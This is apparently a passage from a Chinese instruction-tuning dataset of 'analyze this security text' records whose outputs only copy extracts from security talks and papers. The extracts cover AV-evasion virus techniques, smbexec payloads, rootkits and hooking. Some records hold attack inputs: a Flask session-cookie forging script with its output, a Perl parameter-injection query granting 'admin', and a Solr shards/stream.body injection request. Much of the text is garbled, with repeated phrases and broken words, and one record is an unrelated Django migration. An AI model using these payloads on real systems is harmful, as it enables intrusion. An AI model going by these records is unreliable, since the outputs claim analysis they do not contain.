iwlwifi chooses a compatible firmware file using the API version https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/ Firmware file (for Intel Wireless for Linux) # dmesg iwlwifi 0000:00:14", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nState Interoperable Communications: DHS Funded Activities Fiscal Years 2003 - 2005 May 2006 Office of Grants and Training Preparedness Directorate U.S. Department of Homeland Security ii State Interoperable Communications: DHS Funded Activities May 2006 Table of Contents May 2006 State Interoperable Communications: DHS Funded Activities iii Table of Contents INTEROPERABLE COMMUNICATIONS ALLOCATIONS. 1 Interoperable Communications Allocation Summary..................................................... 3 Interoperable Communications Equipment Allocation State Summary ......................... 5 INTEROPERABLE COMMUNICATIONS SUMMARY SUPPORTING GRAPHS ..................... 7 INTEROPERABLE COMMUNICATIONS STATE SUMMARIES ..................................... 13 Alabama Information...............................15 Alaska Information ..................................17 American Samoa Information .................19 Arizona Information................................ 21 Arkansas Information ..............................23 California Information ............................25 Colorado Information..............................27 Connecticut Information......................... 29 Delaware Information .............................31 District of Columbia Information ...........33 Florida Information.................................35 Georgia Information................................37 Guam Information...................................39 Hawaii Information.................................41 Idaho Information ................................... 43 Illinois Information.................................45 Indiana Information ................................47 Iowa Information.....................................49 Kansas Information..................................51 Kentucky Information .............................53 Louisiana Information .............................55 Maine Information................................... 57 Maryland Information .............................59", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n对抗AV检测 -- 病毒遗传感染 对抗AV检测 -- 病毒遗传感染 技术的探索 技术的探索 nEINEI/[bytehero team] 病毒遗传感染技术的探索 病毒遗传感染技术的探索 内容介绍 关于病毒遗传感染技术 关于病毒遗传感染技术 - 计算机病毒/人工生命/自进化 - 多态/ 变形之后的思路 - 多态/变形的弱点在哪里 遗传感染的一种实现思路 - 舍弃掉解密器/收缩器 舍弃掉解密器/收缩器 - 构造一个新的变形机制 - 病毒基因的提取 - 宿主交叉/变异点的选择 宿主交叉/变异点的选择 - 构造宿主/病毒的双执行环境 - 宿主/病毒及感染后的重定位 完整的遗传感染变形方式 - 完整的遗传感染变形方式 遗传感染思路的扩展 AV检测的弱点剖析 未来可能的检测对抗 未来可能的检测对抗 关于病毒遗传感染技术 关于病毒遗传感染技术 计算机病毒/人工生命/自进化 人工生命的概念是源于1987年美国桑塔菲研究院的Langton教授提出人工 生命就是具有生命现象和特征的人造系统 生命就是具有生命现象和特征的人造系统 普通病毒 -- 体现了人工生命现象的一种表达方式 加密/多态/变形 体现了自进化的变异过程 是对抗反病毒检测技术的 加密/多态/变形 -- 体现了自进化的变异过程是对抗反病毒检测技术的 自我进化方式 该方向的研究情况 该方向的研究情况: 2005年,SPTH在RRLF#6发表Code Evolution: Follow nature's example, 从指令变形的角度阐述了如何像生物自然选择那样进行代码变异 2008年,saec在EOF-DR-RRLF发表Evolutionary Virus Propagation Technique这是从代码实现角度设想了如何像生物病毒那样的具有遗传变异 的感染方式 这在很大程度上区别于现有复杂的感染方式 的感染方式这在很大程度上区别于现有复杂的感染方式 ... 关于病毒遗传感染技术 关于病毒遗传感染技术 多态/变形之后的思路 1 代码集成方式 重建宿主程序 使病毒代码分片插入到宿主中与其 1 代码集成方式重建宿主程序使病毒代码分片插入到宿主中与其 混合该方式实现极其复杂目前仅有与之最为接近的是zmist病毒 2 虚拟化感染 借助VMP t t中的思路 设计病毒自己的 d 2 虚拟化感染借助VMProtect中的思路设计病毒自己的p-code 需要实现一个病毒自己的虚拟机 3 未来的设想 利用宿主程序本身的指令 构造出病毒使用的代码 3 未来的设想利用宿主程序本身的指令构造出病毒使用的代码 而病毒代码仅是连接这些指令执行的组织者本身并没有恶意的 操作,且融入宿主程序 ... 那么是否存在一种感染方式它既易于编写又能做到完全变形又 有很好的anti-av效果呢 关于病毒遗传感染技术 关于病毒遗传感染技术 多态/变形的弱点在哪里 1 多态技术的解密过程始终都是最薄弱的环节需要隐藏好 2 变形技术的产生的文件体积过大80%左右都是变形引擎的代码 变形技术的产生的文件体积过大80%左右都是变形引擎的代码 3 变形引擎中收缩器编写难度大一旦处理不好在感染N代后将导 致宿主文件大小极巨膨胀 致宿主文件大小极巨膨胀 4 编写中意想不到的因素及设计上的漏洞导致很容易被通配符匹配 静态启发式等技术检测到 静态启发式等技术检测到 遗传感染的一种实现思路 遗传感染的 种实现思路 从生物病毒那里寻找些思路 从生物病毒那里寻找些思路 I 生物病毒的突变形式点突变和染色体突变: a丢失) 1 - 2 - 3 - 4 - 5 - 6 - 7 1 - 2 - 4 - 5 - 6 - 7 b重复): 1 2 3 4 5 6 7 b重复): 1 - 2 - 3 - 4 - 5 - 6 - 7 1 - 2 - 3 - 3 - 4 - 5 - 6 - 7 c倒序): 1 - 2 - 3 - 4 - 5 - 6 - 7 1 - 2 - 4 - 3 - 5 - 6 - 7 d插入): 1 - 2 - 3 - 4 - 5 - 6 - 7 1 - 2 - 3 - 4 - x1- x2 - 5 - 6 - 7 1 2 3 4 x1 x2 5 6 7 e易位): a1 - a2 - a3 - a4 - a5 - a6 |b1 - b2 - b3 - b4 - b5 - b6 a1 - b2 - b3 - a5 - b1 - b6 |b1 - b6 - b5 遗传感染的一种实现思路 遗传感染的 种实现思路 II 生物病毒和我们 i d 的关系 II 生物病毒和我们virus code的关系 DNA <--> CODE | Chromo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPowerShot Basic Oren Isacson, Alfredo Ortega August 1, 2010 Abstract An (incomplete) specification of the Basic language included in several Canon Powershot Cameras. 1 Contents 0.1 Executing Scripts . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 0.1.1 Format of the SD card . . . . . . . . . . . . . . . . . . . . 14 0.1.2 Script extend.m . . . . . . . . . . . . . . . . . . . . . . . . 14 0.1.3 Starting the script . . . . . . . . . . . . . . . . . . . . . . 14 0.1.4 Automatic script . . . . . . . . . . . . . . . . . . . . . . . 14 0.2 Language constructs . . . . . . . . . . . . . . . . . . . . . . . . . 15 0.2.1 operators . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 0.2.2 Dim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 0.2.3 for-next . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 0.2.4 do-while . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 0.2.5 subroutines . . . . . . . . . . . . . . . . . . . . . . . . . . 16 0.3 Common functions() . . . . . . . . . . . . . . . . . . . . . . . . . 16 0.3.1 ExMem.View() . . . . . . . . . . . . . . . . . . . . . . . . 17 0.3.2 ExMem.AllocUncacheable() . . . . . . . . . . . . . . . . . 17 0.3.3 ExMem.FreeUncacheable() . . . . . . . . . . . . . . . . . 17 0.3.4 ExMem.AllocCacheable() . . . . . . . . . . . . . . . . . . 17 0.3.5 ExMem.FreeCacheable() . . . . . . . . . . . . . . . . . . . 17 0.3.6 StartCameraLog() . . . . . . . . . . . . . . . . . . . . . . 17 0.3.7 ShowCameraLog() . . . . . . . . . . . . . . . . . . . . . . 17 0.3.8 ShowCameraLogInfo() . . . . . . . . . . . . . . . . . . . . 18 0.3.9 StopCameraLog() . . . . . . . . . . . . . . . . . . . . . . 18 0.3.10 PutsCameraLogEvent() . . . . . . . . . . . . . . . . . . . 18 0.3.11 OpLog.Create() . . . . . . . . . . . . . . . . . . . . . . . . 18 0.3.12 drysh() . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 0.3.13 NewTaskShell() . . . . . . . . . . . . . . . . . . . . . . . . 18 0.3.14 ExMem() . . . . . . .", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## Android WebView跨域访问漏洞(CNVD-2017-36682) > 腾讯玄武实验室 2017年12月7日 ### 漏洞描述 Android WebView存在跨域访问漏洞该漏洞产生的原因是由于Android应用WebView开启了file域访问且允许file域访问http域未对file域的路径做严格限制所致攻击者可以利用漏洞远程获取APP中的所有本地敏感数据 ### 影响范围 漏洞影响使用WebView控件开启file域访问并且未按安全策略开发的Android应用APP ### 漏洞详情 #### 漏洞位置 ```java public class WebViewActivity extends Activity { private WebView webView; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_webview); webView = (WebView) findViewById(R.id.webView1); //webView.getSettings().setAllowFileAccess(false); (1) //webView.getSettings().setJavaScriptEnabled(true); (2) //webView.getSettings().setAllowFileAccessFromFileURLs(true); (3) //webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (4) Intent i = getIntent(); String url = i.getData().toString(); webView.loadUrl(url); } } ``` #### 漏洞触发条件 1. WebView中setAllowFileAccessFromFileURLs 或setAllowUniversalAccessFromFileURLsAPI配置为true 2. WebView可以直接被外部调用并能够加载外部可控的HTML文件 #### 漏洞原理 在Android应用中WebView开启了file域访问允许file域访问http域且未对file域的路径进行严格限制所致攻击者通过URL Scheme的方式可远程打开并加载恶意HTML文件远程获取APP中包括用户登录凭证在内的所有本地敏感数据 ### poc/exp #### 例子 1 某个app 1. 如图X5WebView类继承了webview类并且设置了允许file协议以及启用了javascript执行; ![11111](png/webview_cros_1.png) 2. 再看看使用该X5Webview类的Activity发现URL是从intent传递的对象中获取的并且没有做任何白名单处理直接启动了Activity; ![11111](png/webview_cros_2.png) 3. 并且发现该activity是可导出的如图 ![11111](png/webview_cros_3.png) 基于以上三点攻击者可以用恶意链接实现生成本地恶意攻击html并传递恶意html的file路径给可导出的组件该组件加载访问html文件执行其中的恶意js会导致私有目录中的文件被攻击者获取 ### 漏洞修复建议 1. file域访问为非功能需求时手动配置setAllowFileAccessFromFileURLs或setAllowUniversalAccessFromFileURLs两个API为false Android4.1版本之前这两个API默认是true需要显式设置为false因未找到设置的接口4.1版本之前暂不做操作4.1版本后需要防止显示设置为true如果设置为true的话防止loadUrl的传参url为可被攻击的 2. 若需要开启file域访问则设置file路径的白名单严格控制file域的访问范围具体如下 - 固定不变的HTML文件可以放在assets或res目录下file:///android_asset和file:///android_res 在不开启API的情况下也可以访问 - 可能会更新的HTML文件放在/data/data/(app) 目录下避免被第三方替换或修改 - 对file域请求做白名单限制时需要对../../特殊情况进行处理避免白名单被绕过 3. 避免App内部的WebView被不信任的第三方调用排查内置WebVi", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPCI: Compromising Controls and Compromising Security PCI? At DefCon? Compliance is changing the way companies \"do security\", and that has an effect on everyone, hacker, defender, attacker, and innocent bystander. One result is that companies fear QSAs more than 0-days. Who are we? James Arlen, aka Myrcurial Anton Chuvakin Joshua Corman Jack Daniel Alex Hutton Martin McKeay Dave Shackleford Usual disclaimers We do not speak for our employers, clients or customers. Nor for our spouses, siblings, or offspring. But my dog will back me up. Our opinions are our own, the facts are as we see them. We arent lawyersetc. These QSAs are not your QSAs. PCI. Discuss. PCI vs. Security. Is it really vs. security? PCI hampers the advanced. Right? Really? At least it is timely. And the three years cycle insures that. PCI has an impact on ALL of us, even if not under the heel of its hobnail boot. Or does it? Obligatory Bell Curve Slide More accurate curves With pictures, even. Zombie resistant housing? PCI and metrics. PCI could provide some very useful data about security postures, exposures, breaches, and all kinds of cools stuff. Could. Does it? Should it? Moving forward How do we move forward? Who do we have to convince? What moves them? Previous conversations CSO Online Debate Part 1 of 2: http://www.csoonline.com/podcast/513988/The_Great_PCI_Security_Debate_of_2010_Part_1 Network Security Podcast Part 2 of 2: http://netsecpodcast.com/?p=391 Southern Fried Security Podcast Special Episode: http://www.southernfriedsecurity.com/episodes-0-9/special-episode---interview-with-josh- corman ShmooCon 2010 http://www.shmoocon.org/2010/videos/PCI-Panel.flv BSidesSF Panel Video http://www.ustream.tv/recorded/5164678 (pt 1) http://www.ustream.tv/recorded/5165234 (pt 2) Contact us James Arlen @myrcurial Anton Chuvakin @anton_chuvakin Joshua Corman @joshcorman Jack Daniel @jack_daniel Alex Hutton @alexhutton Martin McKeay @mckeay Dave Shackleford @daveshackleford ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nProprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Getting the goods with smbexec Eric Milam Brav0hax Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Dont you know who I am? Attack & Pen -> Accuvant LABS Open Source Projects -> easy-creds, smbexec, ettercap, Kali Linux Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. What is smbexec? What does it do? Why should I care? Theres nothing 0 day here! BOO! Yes, but automation is awesome! You can use this tool immediately It will make post-exploitation much easier Whats this all about? Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Bash script, yes, a bash script 1 week of work, consuming a years worth of Mountain Dew Power of the tool lies in smbclient & winexe smbclient to get/put files winexe to execute What is smbexec? Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Standard msf payloads with psexec module kept getting popped by AV Custom exes also popped because AV trigger is on injection (service protection) Damn you trend micro, but thanks for the motivation Blog post from Carnal0wnage Upload and execute your payload Why write smbexec? Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. I want my shells and I want them now! Creates an obfuscated payload that will bypass most commercial AV Enable Hyperion Crypter to encrypt the payload Creates a Metasploit rc file and launches a Metasploit listener to make things easy. Attack can be launched in xterm or screen What have you done for me lately? Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. What? You can get all this great stuff with winexe and native windows commands?", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n蔡政達 a.k.a Orange CHROOT 成員 / HITCON 成員 / DEVCORE 資安顧問 國內外研討會 HITCON, AVTokyo, WooYun 等講師 國內外駭客競賽 Capture the Flag 冠軍 揭露過 Microsoft, Django, Yahoo, Facebook, Google 等弱 點漏洞 專精於駭客手法Web Security 與網路滲透 #90後 #賽棍 #電競選手 #滲透師 #Web狗 # 講 Web 可以講到你們聽不懂就贏了 黑了你從不是在你知道的那個點上 擺在你眼前是 Feature擺在駭客眼前就是漏洞 - 別人笑我太瘋癲我笑他人看不穿 - 猥瑣流 Q: 資料庫中的密碼破不出來怎麼辦 第三方內 容安全 前端 安全 DNS 安全 Web應用 安全 Web框架 安全 後端語言 安全 Web伺服 器安全 資料庫 安全 作業系統 安全 XSS XXE SQL Injection CSRF 第三方內 容安全 前端 安全 DNS 安全 Web應用 安全 Web框架 安全 後端語言 安全 Web伺服 器安全 資料庫 安全 作業系統 安全 Struts2 OGNL RCE Rails YAML RCE PHP Memory UAF XSS UXSS Padding Oracle Padding Oracle XXE DNS Hijacking SQL Injection Length Extension Attack ShellShock HeartBleed JSONP Hijacking FastCGI RCE NPRE RCE OVERLAYFS Local Root CSRF Bit-Flipping Attack 第三方內 容安全 前端 安全 DNS 安全 Web應用 安全 Web框架 安全 後端語言 安全 Web伺服 器安全 資料庫 安全 作業系統 安全 - Perl 語言特性導致網頁應用程式漏洞 @list = ( 'Ba', 'Ba', 'Banana'); $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => @list }; print Dumper($hash); # ? $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => 'Ba', 'Ba' => 'Banana' }; @list = ( 'Ba', 'Ba', 'Banana'); $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => @list }; print Dumper($hash); # wrong! $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => ('Ba', 'Ba', 'Banana') }; @list = ( 'Ba', 'Ba', 'Banana'); $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => @list }; print Dumper($hash); # correct! $hash = { 'A' => 'Apple', 'B' => 'Banana', 'C' => 'Ba', 'Ba' => 'Banana' }; my $otheruser = Bugzilla::User->create( { login_name => $login_name, realname => $cgi->param('realname'), cryptpassword => $password }); my $otheruser = Bugzilla::User->create( { login_name => $login_name, realname => $cgi->param('realname'), cryptpassword => $password }); # index.cgi? realname=xxx&realname=login_name&realname= admin - Windows 特性造成網頁應用限制繞過 Windows API 檔名正規化特性 - shell.php # shel>.php # shell\"php # shell.< Windows Tilde 短檔名特性 - /backup/20150707_002dfa0f3ac08429.zip - /backup/201507~1.zip Windows NTFS 特性 - download.php::$data 講些比較特別的", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nModule 2 Typical goals of malware and their implementations https://github.com/hasherezade/malware_training_vol1 Hooking Hooking: the idea Hooking means intercepting the original execution of the function with a custom code Goal: to create a proxy through which the input/output of the called function bypasses Possible watching and/or interference in the input/output of the function Hooking: the idea Calling the function with no hook: Call Function(arg0,arg1) Function: (process arg0, arg1) ... ret Hooking: the idea Calling the hooked function: the high-level goals Intercept: Arg0, arg2 Call Function ret Call Function(arg0,arg1) Function: (process arg0, arg1) ... ret Hooking: who? Hooking is used for intercepting and modifying API calls By malware: i.e. spying on data By Anti-malware: monitoring execution Compatibility patches (Operating System level) - i.e. shimming engine Extending functionality of the API Hooking in malware Sample purposes of hooks used by malware: Hiding presence in the system (rootkit component) Sniffing executions of APIs (spyware) Doing defined actions on the event of some API being called (i.e. propagation to a newly created processes, screenshot on click) Redirection to a local proxy (in Banking Trojans) Hooking: how? There are various, more or less documented methods of hooking. Examples: Kernel Mode (*will not be covered in this course) User Mode: SetWindowsEx etc. monitoring system events Windows subclassing intercepting GUI components Inline/IAT/EAT Hooking general API hooking Monitoring system events Windows allows for monitoring certain events, such as: WH_CALLWNDPROC monitor messages sent to a window WH_KEYBOARD WH_KEYBOARD_LL etc. The hook can be set via SetWindowsHookEx This type of hooks are often used by keyloggers Monitoring system events Example: Remcos RAT https://www.virustotal.com/gui/file/47593a26ec7a9e791bb1c94f4c4d56deaae25f37b7f77b0a44dc93ef0bca91fd Monitoring system events Example: Remcos RAT W", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSHADOW WALKER SHADOW WALKER Raising The Bar For Rootkit Detection Raising The Bar For Rootkit Detection by Sherri Sparks & Jamie Butler What Is A Rootkit? What Is A Rootkit? Defining characteristic is stealth. Viruses reproduce, but rootkits hide! Greg Hoglund, author of NT Rootkit defines a rootkit as a set of programs which patch and trojan existing execution paths within the system. What is a rootkit used for? What is a rootkit used for? It is usually used by a hacker to conceal his / her presence on a compromised system and make it possible to return undetected at some later date. Indirect overlap with parental control software and spyware. Rootkits & x86 Hardware Architecture: Rootkits & x86 Hardware Architecture: Pentium Protection Rings Pentium Protection Rings Ring 0 full access to all memory and the entire instruction set. Kernel Rootkits Ring 3 restricted memory access and instruction set availability. User Rootkits Rootkits & The Operating System Rootkits & The Operating System The user / application view of the system is defined by what the OS provides to it via the API interface. A rootkit hides by intercepting and altering communications at the interfaces between various OS components. Rootkits are a form of man in the middle attack. OS Components Attacked By OS Components Attacked By Rootkits Rootkits I/O Manager Logging keystrokes or network activity Device & File System Drivers Hiding files Object Manager Hiding object (process / thread) handles. Security Reference Monitor Disable security policies governing runtime access checks on objects. Process & Thread Manager Hiding processes & threads Configuration Manager Hiding registry entries First Generation Rootkits First Generation Rootkits Replaced / modified system files on the victims hard disk Example: UNIX login program Second Generation Rootkits Second Generation Rootkits Modify static OS components / structures loaded in memory. Table based hooking approaches (IAT, ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Generated by Django 2.2.3 on 2019-08-02 19:41 from django.db import migrations, models from django.contrib.postgres.fields import JSONField class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Collection', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=128)), ('detail', JSONField()), ], ), ]", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWP use https://github.com/noraj/flask-session-cookie-manager import os import string a=string.digits+string.ascii_letters for i in range(0,len(a)): name='python3 ense.py encode -s \"KEY_SECRET_PWN_HUB\" -t \" {\\'username\\':\\'Ne'+a[i]+'\\'}\"' os.system(name) output: eyJ1c2VybmFtZSI6Ik5lMCJ9.XbpKQQ.Eq9AjAwo7K2lmbRR1k7lwI5P15M eyJ1c2VybmFtZSI6Ik5lMSJ9.XbpKQQ.v2MQV4MWcvLmS9a6KOU7Qqcu8tc eyJ1c2VybmFtZSI6Ik5lMiJ9.XbpKQg.ugDoLOgtrjN24xcrefEfksNEV18 eyJ1c2VybmFtZSI6Ik5lMyJ9.XbpKQg.kvjDJQH-QXU5fCpdnA-r4QWdjUc eyJ1c2VybmFtZSI6Ik5lNCJ9.XbpKQg.gvzw-_vChiXWNEIBVB4cj3q3MTs eyJ1c2VybmFtZSI6Ik5lNSJ9.XbpKQg.SBs7I0wnU_XBSQ2ILrQHXin82p8 eyJ1c2VybmFtZSI6Ik5lNiJ9.XbpKQg.zKGDGIQI_dHGnH2qWmc_QuFs0WM eyJ1c2VybmFtZSI6Ik5lNyJ9.XbpKQg.aInS9Xr8Kc-AS4xF4F0htW30PT4 eyJ1c2VybmFtZSI6Ik5lOCJ9.XbpKQg.-pooPMNGrZ7vAhhufBhGNyPgibY eyJ1c2VybmFtZSI6Ik5lOSJ9.XbpKQw.rZZxXjTRWpzp90iFnjcAKETrtoQ eyJ1c2VybmFtZSI6Ik5lYSJ9.XbpKQw.6eUoM_4YXhQtw2PzAlZxni5M68A eyJ1c2VybmFtZSI6Ik5lYiJ9.XbpKQw.JvWxxkh35EeY_RUWE8t4TFJU3P0 eyJ1c2VybmFtZSI6Ik5lYyJ9.XbpKQw.ZrGxmxmoLq9yMeB2yRh9N4A15H4 eyJ1c2VybmFtZSI6Ik5lZCJ9.XbpKQw.8i-SyjOaCHhcLvne-RifMJysQhM eyJ1c2VybmFtZSI6Ik5lZSJ9.XbpKQw.YrDJMdeZNdC5qg5WlnjDRjxIsj4 eyJ1c2VybmFtZSI6Ik5lZiJ9.XbpKQw.9gXKtKQBSFIGj4pC47__QH02iu4 eyJ1c2VybmFtZSI6Ik5lZyJ9.XbpKQw.j-7bWauGJoAU__Ur5K_uF8eaYaQ eyJ1c2VybmFtZSI6Ik5laCJ9.XbpKRA.HdUtVoGi8HegbqfbtVRsx8IHlO4 eyJ1c2VybmFtZSI6Ik5laSJ9.XbpKRA.mdvIB58YOEAFuuXDI0zuNXmTdmg eyJ1c2VybmFtZSI6Ik5laiJ9.XbpKRA.qTWMfGnALkH0vTtuCUbcZsFst3M eyJ1c2VybmFtZSI6Ik5layJ9.XbpKRA.Qf0wHpTkrXS9tw66H2xXthvlfcE eyJ1c2VybmFtZSI6Ik5lbCJ9.XbpKRA.cj_QWrXXGCDbDBmFmTIMBxOCUoo eyJ1c2VybmFtZSI6Ik5lbSJ9.XbpKRA.Vy3c6UNnpOvCOn30w72Qlo9CRJk eyJ1c2VybmFtZSI6Ik5lbiJ9.XbpKRA.YWXfeC20MlaUqVeVH-zlOGWh5RI eyJ1c2VybmFtZSI6Ik5lbyJ9.XbpKRA.gF03xQvJaP13Dr1gJs0hTz31GFs eyJ1c2VybmFtZSI6Ik5lcCJ9.XbpKRQ.yoQcrmWcma0XfA8cV0iDWjUTkbI eyJ1c2VybmFtZSI6Ik5lcSJ9.XbpKRQ.cLK4OL4twnjJC2v3LhStkxxEuok eyJ1c2VybmFtZSI6Ik5lciJ9.XbpKRQ.YankS3Do809DFBON7giqO27fHOE eyJ1c2VybmFtZSI6Ik5lcyJ9.XbpKRQ.qeP6kMVzYUBlJAVE8OgYO6x4hvo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBlowing up the Celly! Building Your Own SMS/MMS Fuzzer! ! Brian Gorenc, Manager, Vulnerability Research! Matt Molinyawe, Security Researcher! ! Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.! 2! Agenda! Introduction! Testing Environment! Bug Hunting! Live Demonstration! Key Takeaways! Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.! Introduction! Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.! 4! whois Brian Gorenc Employer: HP Organization: HP Security Research Zero Day Initiative Responsibilities: Manager, Vulnerability Research Organizing Pwn2Own Hacking Competition Verifying EIP == 0x41414141 Free Time: Endlessly following code paths that dont lead to vulnerabilities Twitter: @MaliciousInput, @thezdi Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.! 5! whois Matt Molinyawe Employer: HP Organization: HP Security Research Zero Day Initiative Responsibilities: Security Researcher Enjoying funny and awesome proof of concepts Measuring my productivity in hours of YouTube watched Process Janitor Make exploits shine and not crash Calc Connoisseur Free Time: DJ Manila Ice Two time United States Finalist DJ Beat Contra using only the laser without death Beat QWOP Martial Arts Twitter: @djmanilaice Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.! 6! Do-It-Yourself ! Fuzzing SMS/MMS is an interesting topic! Always-on technology! Limited in-line defenses! ! Every researcher will have a different take on the problem! Usually roll their own fuzzer along with mutation logic! ! Aim for this talk is to demonstrate approaches to get started in phone fuzzing! ! Using Android as the", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nApache Solr Injection Michael Stepankin @artsploit DEF CON 27 @whoami Michael Stepankin Security Researcher @ Veracode Web app breaker Works on making Dynamic and Static Code Analysis smarter Penetration tester in the past Never reported SSL ciphers Ones upon a time on bug bounty What is Solr? Solr is the popular, blazing-fast, open source enterprise search platform built on Apache Lucene Written in Java, open source REST API as a main connector Used by many companies (AT&T, eBay, Netflix, Adobe etc) https://lucene.apache.org/solr/ How does it look like? Solr Quick Start $ ./bin/solr start -e dih //start solr //add some data //search data Solr 101: simple query Requested content-type Solr 101: more complex query Local parameter name (default field) Parser type Collection (database) name Request Handler (select, update, config) Solr 101: more complex query Requested Fields (columns) Subquery for column similar Requested response type Common Solr Usage in Web App : Common Solr Deployment: behind a web app : Browser Solr /search?q=Apple /solr/db/select?q=Apple&fl=id,name&rows=10 Solr Parameter Injection (HTTP Query Injection) : Browser Solr /search?q=Apple%26xxx=yyy%23 /solr/db/select?q=Apple&xxx=yyy#&fl=id,name&rows=10 Solr Parameter Injection: Caveats We can add arbitrary query parameters, but: The request is still handled by the SearchHandler We cannot rewrite collection name But Solr still have some magic for us Solr Parameter Injection: Magic Parameters GET /solr/db/select?q=Apple&shards=http://127.0.0.1:8984/solr/db&qt=/ config%23&stream.body={\"set-property\":{\"xxx\":\"yyy\"}}&isShard=true shards=http://127.0.0.1:8984/solr/db - allows to forward this request to the specified url qt=/config%23 allows to rewrite query stream.body={\"set-property\":{\"xxx\":\"yyy\"}} treated by Solr as a POST body isShard=true - needed to prevent body parsing while proxying Solr Parameter Injection: Magic Parameters GET /solr/db/select?q=Apple&shards=http://127.0.0.1:8984/", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTake advantage of randomness Frank Tse Nexusguard Agenda What is random Some applications of random Detecting anomalies from randomness Mitigating random attacks 1 2 3 4 Visualizing randomness 5 About::me From Hong Kong Researcher in DDoS I like RFC IT Security Identify them correctly Take actions accordingly Block the known bad Verify the known good Track the uncertain Challenge the suspicious DDoS: Good Human > Adult, Kid, Infant Bad Human > Smart, not-so-smart Good Bot (inhuman) Bad bot (inhuman) General IT security vs DDoS /dev/random Entropy: initial seeds for random number generation kern.random.sys.seeded non-blocking while reading kern.random.sys.harvest.ethernet LAN traffic kern.random.sys.harvest.point_to_point P2P interface kern.random.sys.harvest.interrupt HW interrupt (Mouse, keyboard) kern.random.sys.harvest.swi SW interrupt (exceptions) Initializing seed for random during boot up (HW) Entropy: initial seeds for random number generation If Im running on VM [ 0.000000] Booting paravirtualized kernel on KVM virtio-rng: a driver for feeding entropy between VM guest and host Problem: I dont trust virto-rng Solution: entropy from remote server entropy.ubuntu.com Angers Bridge, collapsed on Apr-16, 1850, due to soldiers marching across it. aka. Stuck in synchronization 2009 MAY 19, Storm Codec [ Baofeng] (暴风影音) brings down DNSpod. Due to lack of random back-off and sleep mechanism Routing protocol randomized hello timers to avoid stuck in synchronization RFC4271 Border Gateway Protocol v4 To minimize the likelihood that the distribution of BGP messages by a given BGP speaker will contain peaks, jitter SHOULD be applied to the timers associated with MinASOriginationIntervalTimer, KeepaliveTimer, MinRouteAdvertisementIntervalTimer, and ConnectRetryTimer. A given BGP speaker MAY apply the same jitter to each of these quantities, regardless of the destinations to which the updates are being sent; that is, jitter need not be configured on a per-peer basis. The s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBrowser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling James Kettle - james.kettle@portswigger.net - @albinowax The recent rise of HTTP Request Smuggling has seen a flood of critical findings enabling near-complete compromise of numerous major websites. However, the threat has been confined to attacker-accessible systems with a reverse proxy front-end... until now. In this paper, I'll show you how to turn your victim's web browser into a desync delivery platform, shifting the request smuggling frontier by exposing single-server websites and internal networks. You'll learn how to combine cross-domain requests with server flaws to poison browser connection pools, install backdoors, and release desync worms. With these techniques I'll compromise targets including 